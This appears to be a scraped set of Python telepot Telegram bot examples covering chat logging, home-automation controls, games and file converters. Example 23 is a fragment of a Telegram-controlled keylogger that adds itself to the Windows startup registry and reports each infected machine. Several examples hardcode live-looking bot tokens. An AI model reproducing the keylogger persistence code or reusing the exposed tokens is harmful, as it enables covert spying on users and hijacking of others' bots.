Exemplo n.º 1
0
def main(args):
    ### Set debugging level ###
    if args.debug:
        logging.basicConfig(level=logging.DEBUG)
    else:
        logging.basicConfig(level=logging.WARNING)

    import configparser  #python3

    ### Reading out config file ###
    config = configparser.ConfigParser()
    config.read(args.config)

    if args.section:
        if not args.section in config.sections():
            logging.warning("Section {} unexistent. Adding it.".format(
                args.section))
            config.add_section(args.section)
            save_config(config, args.config)
    else:
        args.section = "DEFAULT"

    logging.debug("Starting up.")
    try:
        api_key = config[args.section][
            "API-key"]  # note that configs are case INsensitive
        logging.debug(" -- using API-key: {}".format(api_key))
    except KeyError:
        api_key = input("No api-key set. Please create one and enter it now: ")
        config.set(args.section, "API-key", api_key)
        save_config(config, args.config)

    try:
        mods = config[args.section]["mods"].split(',')
        logging.debug(" -- using mods: {}".format(mods))
    except KeyError:
        mods = input(
            "No modules set to be loaded. Please list them separated by commas, e.g.: mod1,mod2,mod3:\n"
        ).replace(" ", "").strip(",")
        config.set(args.section, "mods", mods)
        mods = mods.split(",")
        save_config(config, args.config)

    # this is a blacklist within a whitelist
    # if the id is in the list, it is allowed to use the mods
    # if a mod is listed in the whitelist, it is blacklisted
    # {id:[]} would therefore allow usage of all mods for id
    whitelist = "{}"
    try:
        whitelist = config[args.section]["whitelist"]
        whitelist = open(whitelist).read()
        logging.debug(" -- using whitelist: {}".format(whitelist))
    except KeyError:
        config.set(args.section, "whitelist", whitelist)
        save_config(config, args.config)
        logging.critical(
            "No whitelist set. Allowing all messages for now. This message won't be shown again for section {}."
            .format(args.section))

    overseer = 0
    try:
        overseer = config[args.section]["overseer"]
        logging.debug(" -- using overseer: {}".format(overseer))
    except KeyError:
        logging.critical("No overseer set. Starting the bot to set this.")
        b = telepot.Bot(api_key)
        try:
            b.getMe()
        except (telepot.exception.UnauthorizedError,
                telepot.exception.BadHTTPResponse):
            logging.critical(
                "API-key is wrong. Please save the correct one in your {} !".
                format(args.config))
            if yn("Erase old one for the next time?"):
                config.remove_option(args.section, "api-key")
                save_config(config, args.config)
            return
        logging.critical(
            "To register your ID, simply -private- message the bot now. You have got 65535 seconds to do so..."
        )
        msgs = b.getUpdates(timeout=65535)
        m = Msg(msgs[0]["message"])
        while not yn("Is this your Telegram name? \"{} {}\"".format(
                m.get_from_first_name(), m.get_from_last_name())):
            logging.critical(
                "ACKing all messages, retrying. Send a new message please (Timeout again 65535 secs.)"
            )
            m = Msg(
                b.getUpdates(offset=msgs[~0]["update_id"] + 1,
                             timeout=65535)[0]["message"])
        overseer = m.get_from_id()
        config.set(args.section, "overseer", str(overseer))
        save_config(config, args.config)

    ### Start up ###
    bot = Telegrambot(api_key, mods, whitelist, overseer)

    while True:
        try:
            cmd = input("> ")
            if cmd == "exit":
                return
            elif cmd == "help":
                print("Commands available:")
                print("\texit\t\texits the python script")
                print("\thelp\t\tshows this help")
        except (EOFError, KeyboardInterrupt, SystemError):
            sys.exit("\nGoodbye.")
Exemplo n.º 2
0
import time, os
from datetime import datetime
import telepot
from telepot.loop import MessageLoop

from bantuan import bantuan

waktu = datetime.now()
tahun = waktu.year
bulan = waktu.month
hari = waktu.day
jam = waktu.hour
menit = waktu.minute
detik = waktu.second

bot = telepot.Bot('123123123121:AAAAVVVBBGV2vchhGGSgg_vsgdvgs')


def handle(msg):
    content_type, chat_type, chat_id = telepot.glance(msg)
    print(content_type, chat_type, chat_id)

    chat_id = msg['chat']['id']
    text = msg['text']
    #sender = msg['from']['id']
    sender = msg['from']['username']
    f = open('access.log', 'a')
    f.write("{}-{}-{} {}:{}:{}".format(hari, bulan, tahun, jam, menit, detik) +
            " Chat-id - " + str(chat_id) + " Text - " + str(text) +
            " Sender - " + sender + "\n")
    f.close()
Exemplo n.º 3
0
# coding: utf-8
import telepot

from agenda import processarComandos

bot = telepot.Bot("TOKEN!!")


def listou(comando):
    '''
    -> Mostra as tarefas da lista.
    Param comando = comandos no estilo ProcessarComandos.
    return: string, string.
    '''
    if len(lista) == 0:
        return 'Nenhuma tarefa.', 'TODO: Mostrando 0 de 0.\n'
    tasks = processarComandos(comando, lista)
    texto = ''
    for i in tasks:
        texto += i[1:] + '\n'
    total = '--\nTODO: Mostrando ' + str(len(tasks)) + ' de ' + str(len(lista))
    return texto, total


def retira(comando):
    '''
    -> Remove a tarefa da lista.
    Param comando = Indice.
    return: String, dependendo do resultado.
    '''
    try:
import sys
import os
import time
import telepot
from telepot.loop import MessageLoop
from telepot.namedtuple import InlineQueryResultArticle, InputTextMessageContent
import datetime

import pymongo
from pymongo import MongoClient
from googletrans import Translator

translator = Translator()

APITOKEN = os.environ["TELEGRAM_API"]
bot = telepot.Bot(APITOKEN)
answerer = telepot.helper.Answerer(bot)

connection_params = {
    'user': os.environ["MONGO_USER"],
    'password': os.environ["MONGO_PASS"],
    'host': os.environ["MONGO_HOST"],
    'port': int(os.environ['MONGO_PORT']),
    'namespace': os.environ["DB_NAME"],
}

connection = MongoClient('mongodb://{user}:{password}@{host}:'
                         '{port}/{namespace}'.format(**connection_params))

db = connection.amharic
Exemplo n.º 5
0
import random
import time
# Limit of jokes
LIMIT = 100
counter = 0
sub = 'Jokes'
jokesTitles = []
jokesTexts = []

reddit = praw.Reddit(client_id=config.client_id,
                     client_secret=config.client_secret,
                     username=config.username,
                     password=config.password,
                     user_agent=config.user_agent)

telebot = telepot.Bot(config.token)


def initialize_jokes():
    for i in range(0, LIMIT):
        jokesTitles.append('Nothing here... Only pure emptiness')
        jokesTexts.append('Only virtual particles are popping up')


def handle(msg):
    global counter
    user_id = msg['chat']['id']
    command = msg['text'].encode('utf-8').lower()

    if command == '/joke' or command == '/joke@rjokes_bot':
        joke = random.randint(1, LIMIT - 1)
Exemplo n.º 6
0
			if(time.strftime("%a") == 'Wed'):
				giorno = 'Giovedi\''
			if(time.strftime("%a") == 'Fri'):
				giorno = 'Venerdi\''
			if(time.strftime("%a") == 'Sat'):
				giorno = 'Sabato\''
			if(time.strftime("%a") == 'Sun'):
				giorno = 'Domenica\''
			bot.sendMessage(chat_id, 'Oggi e\' '+giorno+' '+'%s/%s/%s'% (i.day, i.month, i.year))
		else:
			bot.sendMessage(chat_id, 'Non capisco il comando.')	
	else:
		bot.sendMessage(chat_id, 'Non sei autorizzate a darmi ordini! Il tuo chat ID non e\' nella lista.')
		bot.sendMessage(chat_id, sender)
		print chat_id
bot = telepot.Bot('459932785:AAGjA3UjxB3TIdkhDPgT--sj11vTQa6EzME')
bot.message_loop(handle)

print 'Sono in ascolto...'
 
while 1:
    time.sleep(10)








Exemplo n.º 7
0
# Answer generator:
answerGenerator = AnswerGenerator(knowledgeBase, questionPatterns)

# Dictionary of user status (manage multiple users):
user_status = {}

# BabelNet domains:
babelnet_domains = []
babelnet_domain_list_file = open(
    "../babelnet/BabelDomains_full/domain_list.txt")
for line in babelnet_domain_list_file:
    babelnet_domains.append(line.rstrip())

# Setting up Telegram bot:
bot = telepot.Bot(CHATBOT_TOKEN)
#print(bot.getMe())

response = bot.getUpdates()

#pprint(response)


# Handle message:
def handle(msg):
    global graph

    content_type, chat_type, chat_id = telepot.glance(msg)
    #print(content_type, chat_type, chat_id)

    if content_type == "text":
    # Read the config file to get server url
    try:
        file = open("config.json", "r")
        json_str = file.read()
        file.close()
    except:
        raise KeyError("Error opening config file. Please check.")

    config_json = json.loads(json_str)
    url = config_json["catalog"]["url"]

    # Read the telegram settings from the catalogue
    try:
        url=url + "/telegram"
        respond = requests.get(url)
    except:
        raise KeyError("Unable to connect to catalogue")
    respond=respond.json()

    # Start the telegram bot
    bot=telepot.Bot(respond["token"])

    try:
        MessageLoop(bot, handle).run_as_thread()
    except:
        print "Error connecting to telegram bot. Please check your connection or check if the bot token is available"

    print 'Bot started'
    while 1:
        time.sleep(10)
#import sys
import telepot



bot = telepot.Bot("906214196:AAFX6EiVdpWMoOx02nQCfaGFNzGOYyVXnms")

bot.sendPhoto("-203550867", photo=open("img/photo.jpg", "rb"))

Exemplo n.º 10
0
                                prossimo_giocatore=(prossimo_giocatore+1)%len(idlist)
                                rinforzo()
        elif txt.startswith('Fine') and idlist[order.index(prossimo_giocatore)]==chat_id:
            prossimo_giocatore=(prossimo_giocatore+1)%len(idlist)
            tris()

def on_callback_query(msg):
    query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')
    print('Callback Query:', query_id, from_id, query_data)

    global wait
    if query_data == '/inizio' and wait:
        wait = False
        global idlist
        global order
        ordine_turni()
        dividi_territori()
        global truppe_disponibili
        for i in range(len(idlist)):
            bot.sendMessage(idlist[i], 'Lancio dei dadi per decidere chi inizia...\nYou\'re the player n.{}'.format(order[i]+1))
            bot.sendMessage(idlist[i], 'You have the following territories:'+territori_posseduti(i)+'\nAnd this goal: '+obiettivi(idlist[i]))
            bot.sendMessage(idlist[i], 'Hai a disposizione {} truppe, disponile nei tuoi territori scrivendo "Posiziona x1 x2 x3 ..." con x1, x2, x3, ... il numero di truppe da mettere in ogni territorio'.format(50-5*len(idlist)))
        colora()

bot=telepot.Bot('*INSERT YOUR TOKEN HERE*')
bot.message_loop({'chat': on_chat_message,'callback_query': on_callback_query})
print ('Listening ...')

while 1:
    time.sleep(10)
Exemplo n.º 11
0
import telepot  # BIBLIOTECA RESPONSAVEL DOS COMANDOS EXISTENTES

bot = telepot.Bot(
    '903074246:AAGSRnjBo_39KVCj-OuxHsWLCGkj3EteSI0')  #API DO BOT NO TELEGRAM

id_chat = 915426226  #id chat do ADM do bot


def recebendo(msg):  #FUNÇÃO QUE RECEBE A MENSAGEM QUE O BOT RECEBE

    msg_texto = msg['text']  # ARMAZENA A MENSAGEM QUE ENVIARAM AO BOT
    msg_id = msg['chat'][
        'id']  # ARMAZENA O ID DO CHAT DA PESSOA QUE MANDOU MENSAGEM AO BOT

    if msg_texto == '1':  # Caso seja 1 a mensagem enviada ele abre a fechadura
        bot.sendMessage(id_chat, "FECHADURA ABERTA!")

    if msg_texto == '2':  # Caso 2, envia os dados do banco de dados sobre todas as aberturas da fechadura
        bot.sendMessage(id_chat, "HISTÓRICO!")

    if msg_texto == '3':  # Caso 3, captura novamente uma foto
        bot.sendMessage(id_chat, "CAPTURA NOVAMENTE FOTO")


def envia_msg(admin):  # função para enviar mensagem ao adm do bot

    # bot.sendPhoto(admin, "FOTO A SER ENVIADA PARA A PESSOA") <- aqui será enviado a foto para o bot

    bot.sendMessage(admin, "INSTRUÇÕES:\n\n"
                    "1- \tABRIR FECHADURA\n\n"
                    "2- \tHISTÓRICO DA FECHADURA\n\n"
Exemplo n.º 12
0
    data = json.load(f)

# Inicializa uma lista
receita = list()

# Esse laço de repetição preenche a lista com Objetos do tipo receita e dados brutos do banco de dados
contador = 0
while contador < 8183:
    data2 = data[contador]['nome']
    data3 = data[contador]['secao']
    receita.append(Receita(data2, data3))
    contador = contador + 1
pattern = re.compile("x")
print(pattern.search("dog"))

bot = telepot.Bot("COLOQUEAQUISEUCÓDIGODOBOTFATHER")

falouOI = ("Nao")
roteiro = 0  #Seguindo um roteiro para consultar uma receita
numeroAleatorio = 0  #Numero usado para sortear uma receita
receitasDe = list()  #Guarda lista de receitas consultadas por titulo
receitasCom = list()  #Guarda lista de receitas consultadas por ingredientes
pessoa = Pessoa()


def verificaRoteiro(msg, data):
    global roteiro


def pessoaExiste(id):
    for item in pessoas:
Exemplo n.º 13
0
def handle(msg):

    command = msg['text']

    print('Got command: %s' % command)

    if command == 'ON':
        on()
    elif command == 'OFF':
        off()
    elif command == 'TALK':
        talk()


bot = telepot.Bot('XXXXXXXXXXXXX')
bot.message_loop(handle)
print('I am listening...')

while 1:
    try:
        time.sleep(10)

    except KeyboardInterrupt:
        print('\n Program interrupted')
        led.off()
        exit()

    except:
        print('Other error or exception occured!')
        led.off()
Exemplo n.º 14
0
import os
import pygame
import telepot
from telepot.loop import MessageLoop
import config

#bot key
bot = telepot.Bot('ENTER YOUR KEY HERE')
#que
q = []
#if queue is empty or not
empty = False
#directory name
dir_name = "MUSIC LOCATION"
#variable to hold listing
a = os.listdir(dir_name)
#store all the msuic files
listall = """Music archive."""
#list all the music in directory
for i in range(0, len(a)):
    print('{}.{}'.format(i, a[i]))
    listall = listall + '\n{}.{}'.format(i, a[i])


#Send message to user with their user ID
def sms(ID, str):
    bot.sendMessage(ID, str)


#reply message to user with their user ID and to the message ID
def reply(ID, msgID, str):
Exemplo n.º 15
0
import time, datetime
import telepot
from telepot.loop import MessageLoop

now = datetime.datetime.now()
token = 'enter your token here'


def action(msg):
    chat_id = msg['chat']['id']
    command = msg['text']
    print chat_id

    if command == '/hi':
        telegram_bot.sendMessage(chat_id, str("Hi from ProDot Industries"))


telegram_bot = telepot.Bot(token)
print(telegram_bot.getMe())
MessageLoop(telegram_bot, action).run_as_thread()
while 1:
    time.sleep(10)
    print 'Up and Running....'
Exemplo n.º 16
0
    if text.startswith('거래') and len(args) > 1:
        print('try to 거래', args[1])
        replyAptData(args[1], chat_id, args[2])
    elif text.startswith('지역') and len(args) > 1:
        print('try to 지역', args[1])
        replyAptData('201705', chat_id, args[1])
    elif text.startswith('저장') and len(args) > 1:
        print('try to 저장', args[1])
        save(chat_id, args[1])
    elif text.startswith('확인'):
        print('try to 확인')
        check(chat_id)
    else:
        noti.sendMessage(
            chat_id, '모르는 명령어입니다.\n지역 [지역번호], 저장 [지역번호], 확인 중 하나의 명령을 입력하세요.')


today = date.today()
current_month = today.strftime('%Y%m')

print('[', today, ']received token :', noti.TOKEN)

bot = telepot.Bot(noti.TOKEN)
pprint(bot.getMe())

bot.message_loop(handle)

print('Listening...')

while 1:
    time.sleep(10)
Exemplo n.º 17
0
from requests import get


def handle(msg):
    chat_id = msg['chat']['id']
    command = msg['text']

    print('Got command: %s' % command)

    if command == '/rates':
        url = 'https://api.coinbase.com/v2/prices/USD/spot?'
        response = get(url).json()
        bot.sendMessage(
            chat_id, "BTC: $" + response['data'][0]['amount'] + "\n" +
            "BCH: $" + response['data'][1]['amount'] + "\n" + "ETH: $" +
            response['data'][2]['amount'] + "\n" + "LTC: $" +
            response['data'][3]['amount'])
    else:
        bot.sendMessage(
            chat_id,
            "Oops! I don't seem to understand this command. Text '/rates' to see the current exchange rates."
        )


bot = telepot.Bot('450826388:AAExq8IUAauw2BuZTyIRjy3dP2ibB5hgXZc')

MessageLoop(bot, handle).run_as_thread()
print('I am listening ...')

while 1:
    time.sleep(10)
Exemplo n.º 18
0
                    po = retrievePosition(str(packet))

                except Exception as detail:
                    bot.sendMessage("Error in accessing the database")
                    return

                if po is not None:
                    pos = json.loads(po)
                    bot.sendLocation(id, pos['lat'], pos['long'])
                    return

                else:
                    bot.sendMessage(id, 'Your packet is not in the system')

            elif msg['text'] == "/gettemperature":
                return

            elif msg['text'] == "/gethumidity":
                return

            elif msg['text'] == "/getall":
                return

        else:
            return


if __name__ == '__main__':
    bot = telepot.Bot('378511160:AAF8PCogZt5ZtPUp_gaJU2BPMoWnF6-8zuQ')
    bot.message_loop({'chat': on_message}, relax=60, run_forever=True)
Exemplo n.º 19
0
    GPIO.setup(17,GPIO.OUT) #Wheel 2
    GPIO.setup(18,GPIO.OUT) # Wheel 2 

    #GPIO.setup(24,GPIO.IN)#echo1
    #GPIO.setup(23,GPIO.OUT)#Trig1
    #GPIO.setup(16,GPIO.OUT)#Servo Motor


    GPIO.setup(20,GPIO.OUT)#Trigger2
    GPIO.setup(21,GPIO.IN)#Echo2

    #GPIO.setup(19,GPIO.OUT) #Lid Motor
    #GPIO.setup(26,GPIO.OUT) #Lid Motor
Setup()

bot= telepot.Bot('812318556:AAEcVpsMRR9HE9Ee8TW3YipykpgnKU1GGL4')

def Dist():
    GPIO.output(20, False)
    time.sleep(2)

    print( "Calculating distance")

    GPIO.output(20, True)
    time.sleep(0.00001)
    GPIO.output(20, False)

    while GPIO.input(21)==0:
        pulse_start_time = time.time()
    
    while GPIO.input(21)==1:
import os
import sys
import csv
import time
import zipfile
import psycopg2
import re
import shutil
from itertools import groupby
import telepot
import emoji
import subprocess
import pysftp

bot = telepot.Bot('194101126:AAFDRz3cHj-Y7YOQsad_ZFRFJKn2qt2oBmQ')
OK = emoji.emojize(':heavy_check_mark:')
start_time = time.time()

#####SET DIR
dirout_db = '/home/postgres/temp/baseline/'
dirmml = '/ftproot/Scripts/Custom/Consistency_check/'

#####Connect to the database92
db_conn = psycopg2.connect(
    "dbname='postgres' user='******' host='172.29.200.201' password='******'"
)
cursor = db_conn.cursor()
print('Connected to the database')

###BASELINE ENODEB NOK
query = "copy(select * from umts_baseline.baseline_audit_lte('enodeb_baseline') where status = 'NOK') to '" + dirout_db + "baseline_enodeb.txt';"
Exemplo n.º 21
0
        pass
    if clock == '18:00:00':
        pass

    if today.month == 12 and today.day == 25 and clock == '00:00:00':
        bot.sendMessage(CHAT, 'Ho-ho-ho!\nFeliz natal!')


#=====================================================================

#variaveis de inicialização
botname = 'R 4 M B O T'
print('Inicializando', botname)

print('carregando keys...')
bot = telepot.Bot(
    '123456789abcdefghijk')  #ALTERAR PELA SUA CHAVE DE API DO BOT

#news api
news_api = 'XXXXXXXXXXXX'  #ALTERAR PELO SUA API KEY https://newsapi.org/
news_list = ['1337']

#Google Translator
translate = Translator()

#tweepy #https://developer.twitter.com/en/docs
consumer_key = 'xxxxxxxx-12345'
consumer_secret = 'XXXXXXXXX-12345678'

access_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
access_token_secret = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
Exemplo n.º 22
0
import time
import Queue as queue
import telepot


def handle(msg):
    print msg


bot = telepot.Bot('abc')
qu = queue.Queue()

bot.message_loop(handle, source=qu, maxhold=8)


def u(update_id):
    return {'update_id': update_id, 'message': update_id}


sequence = [
    u(1),  # initialize
    u(2),  # no buffering
    u(4),  # 1-gap
    u(3),  # clear 2
    u(7),  # 2-gap
    u(5),  # return, leave 1-gap
    u(6),  # clear 2
    u(10),  # 2-gap
    u(9),  # 1-gap
    u(8),  # clear 3
    u(15),
Exemplo n.º 23
0
    try:    # Solo si tiene permisos de administrador
        registry = OpenKey(HKEY_LOCAL_MACHINE, keyVal, 0, KEY_ALL_ACCESS) # machine
        SetValueEx(registry,name, 0, REG_SZ, path)
        verificar() # Crea Carpeta
    except: # Si no tien permisos de administrador
        if (verificar()):
            registry = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS) # local
            SetValueEx(registry,name, 0, REG_SZ, path)
     
        
   
        
cd.log('s', 'Configuración Terminada')
cd.log('i', 'Iniciando')
addStartup()  
bot = telepot.Bot(token)
bot.message_loop(handle)
if len(known_ids) > 0:
    helloWorld = platform.uname()[1] + ":    ==>> Está en linea..."
    for known_id in known_ids:
        send_safe_message(bot, known_id, helloWorld)
    print(helloWorld)
cd.log('s', 'Iniciando Hilo de Keylogger')
cd.log('i', 'Keylogger iniciado')

p1 = threading.Thread(target=Klogger)   # Keylogger 
p1.start()  # Inicia hilo keylogger
cd.log('s', 'Todo se ejecutó con exito\n')
cd.log('i', 'Esperando comandos ==>>          ' + platform.uname()[1] + '...\n\n')
pythoncom.PumpMessages()  # Escucha los comandos
p1.join()
Exemplo n.º 24
0
            add_watermark(filenameshort,str(npage),str(totpage),filenameencoded,filenameencodedwm)
            f = open( filenameencodedwm, 'rb')
            FILE2QR.sendPhoto(chat_id,f)
            encoded+=1
            write_stat()

    if content_type == 'text':
        name = msg["from"]["first_name"]
        txt = msg['text']

        if txt.startswith('/stats'):
            read_stat()
            FILE2QR.sendMessage(chat_id, "Stats:\nEncoded: "+str(encoded)+"\nDecoded: "+str(decoded))

        elif txt.startswith('/info'):
                print ("Info")
                message = 'Hello %s!\nI am a bot to convert a binary file into QR code and viceversa.\nJust send me a binary file and I will convert it into QR images.\nSend me a QR code image and I will decode it into the original binary file.\nCurrent maximum file size is 2184 Bytes.\nBigger size in next release.\nAny suggestions are welcome. Contact the developer: [email protected]'
                message = message + '\nVersion %s '
                message = message % (name, __version__)
                FILE2QR.sendMessage(chat_id, message)


if __name__ == '__main__':
    read_stat()
    TOKEN = os.environ.get('BOT_TOKEN')
    FILE2QR = telepot.Bot(TOKEN)
    FILE2QR.message_loop(on_chat_message)

    while True:
        time.sleep(10)
Exemplo n.º 25
0
    bot.answerInlineQuery(query_id, articles)


# need `/setinlinefeedback`
def on_chosen_inline_result(msg):
    result_id, from_id, query_string = telepot.glance(
        msg, flavor='chosen_inline_result')
    print('Chosen Inline Result:', result_id, from_id, query_string)


TOKEN = sys.argv[1]
PORT = int(sys.argv[2])
URL = sys.argv[3]

app = Flask(__name__)
bot = telepot.Bot(TOKEN)
update_queue = Queue()  # channel between `app` and `bot`

bot.message_loop(
    {
        'chat': on_chat_message,
        'callback_query': on_callback_query,
        'inline_query': on_inline_query,
        'chosen_inline_result': on_chosen_inline_result
    },
    source=update_queue)  # take updates from queue


@app.route('/abc', methods=['GET', 'POST'])
def pass_update():
    update_queue.put(request.data)  # pass update to bot
Exemplo n.º 26
0
    return False


def debtCheck():
    for i in range(len(debts)):
        if time.time(
        ) > debts[i]["time"] + debts[i]["+time"] and debts[i]["confirm"]:
            coins = debts[i]["coins"]
            coins += coins * (debts[i]["%"] / 100)
            users[searchID(users, debts[i]["to"])]['money'] -= coins
            users[searchID(users, debts[i]["from"])]['money'] += coins
            users[searchID(users, debts[i]["to"])]['money'] = round(
                users[searchID(users, debts[i]["to"])]['money'], 2)
            users[searchID(users, debts[i]["from"])]['money'] = round(
                users[searchID(users, debts[i]["from"])]['money'], 2)
            debts.pop(i)
            f = open("json/debts.json", "w")
            f.write(json.dumps(debts))
            f.close()
            break


token = '755622415:AAHQZlEYSm3tVRWkVNKmXv8tmEbx5TiY1ro'
tb = telepot.Bot(token)

MessageLoop(tb, handle).run_as_thread()

while 1:
    time.sleep(0.1)
    debtCheck()
Exemplo n.º 27
0
import DB
import telepot
import keyboard as kb
from telepot.namedtuple import InlineKeyboardMarkup

api = "898207689:AAHNWFB3jlPdqG6sU-x8M4OgRWkE_GpTxGk"
admin = 953781362
bot = telepot.Bot(api)


def send_new_user(user):
    afdelingen = DB.get_afdelingen()
    but = []
    for afdeling in afdelingen:
        afdel = {}
        afdel[afdeling['naam']] = str(
            user['id']) + '_add_afdeling_' + afdeling['naam']
        but.append(afdel)
    end = {
        'Weigeren': str(user['id']) + '_add_afdeling_weigeren',
        'Del msg': 'Del_msg'
    }
    but.append(end)
    end = {'Laat gebruiker het weten': 'startgebruiker_%s' % (str(user['id']))}
    but.append(end)
    bot.sendMessage(
        chat_id=admin,
        text=user['naam'] + '_' + str(user['id']) + ' ' +
        'wilt graag toegang.\nTot welke afdelingen wilt u hem toegang verlenen?',
        reply_markup=InlineKeyboardMarkup(
            inline_keyboard=kb.Set_InlineKeyboard(but)))
Exemplo n.º 28
0
    elif command == 'alloff':
      off((redLight, greenLight, yellowLight, blueLight))
      bot.sendMessage(chat_id, 'semua lampu sudah dimatikan')

    elif command =='allon':
      on((redLight, greenLight, yellowLight, blueLight))
      bot.sendMessage(chat_id, 'semua lampu sudah dinyalakan')

    elif command =='/start':
      bot.sendMessage(chat_id, 'Siap menerima pesan Anda...')

    #elif command =='/help':
    #  bot.sendMessage(chat_id, '*Selamat datang di Smarthome Telegram \nKodingkita* \nDaftar perintah:\n*redon* untuk menyalakan lampu merah \n*greenon* untuk menyalakan lampu hijau\n*yellowon* untuk menyalakan lampu kuning\n*blueon* untuk menyalakan lampu biru\n*redoff* untuk mematikan lampu merah\n*greenoff* untuk mematikan lampu hijau\n*yellowoff* untuk mematikan lampu kuning\n*blueoff* untuk mematikan lampu biru\n*greenoff* untuk mematikan lampu merah\n*allon* untuk menyalakan semua lampu\n*alloff* untuk mematikan semua lampu', parse_mode= 'Markdown')

bot = telepot.Bot('YOUR KEY') # Ganti 'Bot Token' dengan kode token anda, misal bot = telepot.Bot('eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9')
bot.message_loop(handle)
print('===============================================')
print('Selamat datang di Smarthome Telegram Kodingkita')
print('===============================================')
print(' ')
print('     + kirim pesan redon untuk menyalakan lampu merah')
print('     + kirim pesan greenon untuk menyalakan lampu hijau')
print('     + kirim pesan yellowon untuk menyalakan lampu')
print('     + kirim pesan blueon untuk menyalakan lampu')
print('     + kirim pesan redoff untuk menyalakan lampu')
print('     + kirim pesan greenoff untuk menyalakan lampu')
print('     + kirim pesan yellowoff untuk menyalakan lampu')
print('     + kirim pesan blueoff untuk menyalakan lampu')
print('     + kirim pesan allon untuk menyalakan semua lampu')
print('     + kirim pesan alloff untuk mematikan semua lampu')
Exemplo n.º 29
0
#coder :- Salman Faris

import sys
import time
import datetime
import telepot
import socket
import fcntl
import struct

bot = telepot.Bot('361308020:AAEbxl4L0AWZs4sYhvmzOP9Lw9SuCUvz960')
chat_id = 340690686
time.sleep(2)


def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(
        fcntl.ioctl(
            s.fileno(),
            0x8915,  # SIOCGIFADDR
            struct.pack('256s', ifname[:15]))[20:24])


#def handle(msg):
#    chat_id = msg['chat']['id']
#    command = msg['text']
#
#    print 'Got command: %s' % command
#
#    if command == 'ping':
Exemplo n.º 30
0
    elif command == 'Limit7':
        bot.sendMessage(chat_id, text="Limited 7Mbps")
        os.system("python /home/pi/limit7.py &")
        raise SystemExit
    elif command == 'Nolimit3':
        bot.sendMessage(chat_id, text="Limit3 Off")
        os.system("python /home/pi/nolimit3.py &")
        raise SystemExit
    elif command == 'Nolimit7':
        bot.sendMessage(chat_id, text="Limit7 Off")
        os.system("python /home/pi/nolimit7.py &")
        raise SystemExit
    elif command == 'Status':
        vlanlimit7ip = os.system("ping -c 1 192.168.100.7")
        vlanlimit3ip = os.system("ping -c 1 192.168.100.3")
        if (vlanlimit7ip == 0 and vlanlimit3ip == 0):
            bot.sendMessage(chat_id, text="Mblandang!")
        elif (vlanlimit7ip >= 0 and vlanlimit3ip == 0):
            bot.sendMessage(chat_id, text="Limiter 7 ON!")
        elif (vlanlimit7ip == 0 and vlanlimit3ip >= 0):
            bot.sendMessage(chat_id, text="Limiter 3 ON!")
    else:
        pass
            
bot = telepot.Bot('000000000:AAA_AA-AAAAAAAAAAAAAAAAAAAAAAAAAAAA')
bot.message_loop(handle)
print 'I am listening...'

while 1:
     time.sleep(10)